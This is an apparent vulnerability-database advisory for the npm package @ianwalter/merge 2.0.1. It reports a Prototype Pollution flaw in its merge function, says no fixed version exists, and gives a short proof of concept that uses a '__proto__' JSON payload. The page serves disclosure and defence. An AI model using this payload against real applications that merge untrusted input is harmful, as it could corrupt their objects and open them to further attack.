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@ianwalter/merge/.../merge@2.0.1 vulnerabilities

Recursively merge JavaScript Objects

  • latest version

    9.0.1

  • first published

    5 years ago

  • latest version published

    4 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the @ianwalter/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    @ianwalter/merge is a Recursively merge JavaScript Objects

    Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function. Maintainer suggests using @generates/merger instead.

    PoC

    const merge = require('@ianwalter/merge');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for @ianwalter/merge.

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